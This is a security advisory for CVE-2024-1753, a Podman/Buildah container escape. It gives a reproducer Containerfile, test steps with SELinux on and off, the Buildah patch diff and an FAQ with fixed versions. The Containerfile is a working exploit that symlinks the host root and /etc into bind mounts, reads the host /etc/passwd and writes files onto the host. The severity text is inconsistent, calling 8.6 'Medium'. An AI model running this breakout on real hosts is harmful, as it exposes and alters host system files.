CVE-2024-1753

Reproducer

Prior to testing, as root, add a memorable username to /etc/passwd via adduser or your favorite editor. Also create a memorably named file in /. Suggest: touch /SHOULDNTSEETHIS.txt and adduser SHOULDNTSEETHIS. After testing, remember to remove both the file and the user from your system.

Use the following Containerfile

# cat ~/cve_Containerfile
FROM alpine as base

RUN ln -s / /rootdir
RUN ln -s /etc /etc2

FROM alpine

RUN echo "ls container root"
RUN ls -l /

RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 

To Test

Testing with an older version of Podman with the issue

setenforce 0
podman build -f ~/cve_Containerfile .

As part of the printout from the build, you should be able to see the contents of the /' and /etcdirectories, including the/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the/etc/passwdfile which will include theSHOULDNOTSEETHISuser that you created. In addition, the file/BIND_BREAKOUTand/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.

podman rm -a
podman rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
podman build -f ~/cve_Containerfile .

Neither the /BIND_BREAKEOUT or /etc/BIND_BREAKOUT2 files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd file, and nothing will be displayed from that file.

However, the files in both the / and /etc directories on the host system will be displayed.

Testing with the patch

Use the same commands as testing with an older version of Podman.

When running using the patched version of Podman, regardless of the setenforce settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT and the /etc/BIND_BREAKOUT will not exist on the host after the test completes.

NOTE: With the fix, the contents of the / and /etc directories, and the /etc/passwd file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT and /etc/BIND_BREAKOUT files will be created in the container image.

Workarounds

Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the / directory can be displayed. I.e., ls -alF / will show the contents of the host directory.

References

Unknown.

What kind of vulnerability is it? Who is impacted?

Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.

The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.

CVE-2024-1753 has a CVSS score of 8.6 (Medium). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.9.4, 5.0.1); upgrading removes the vulnerable code path.

Kodem intelligence

From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman.

# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
 
 	"errors"
 
+	"github.com/containers/buildah/copier"
 	"github.com/containers/buildah/define"
 	"github.com/containers/buildah/internal"
 	internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
 	// buildkit parity: support absolute path for sources from current build context
 	if contextDir != "" {
 		// path should be /contextDir/specified path
-		newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+		evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+		if err != nil {
+			return newMount, "", err
+		}
+		newMount.Source = evaluated
 	} else {
 		// looks like its coming from `build run --mount=type=bind` allow using absolute path
 		// error out if no source is set

1. What is CVE-2024-1753? CVE-2024-1753 is a medium-severity improper privilege management vulnerability in github.com/containers/podman/v4 (go), affecting versions < 4.9.4. It is fixed in 4.9.4, 5.0.1. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
2. How severe is CVE-2024-1753? CVE-2024-1753 has a CVSS score of 8.6 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2024-1753?
   • github.com/containers/podman/v4 (go) (versions < 4.9.4)
   • github.com/containers/podman/v5 (go) (versions < 5.0.1)
4. Is there a fix for CVE-2024-1753? Yes. CVE-2024-1753 is fixed in 4.9.4, 5.0.1. Upgrade to this version or later.
5. Is CVE-2024-1753 exploitable, and should I be worried? Whether CVE-2024-1753 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-1753 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-1753?
   • Upgrade github.com/containers/podman/v4 to 4.9.4 or later
   • Upgrade github.com/containers/podman/v5 to 5.0.1 or later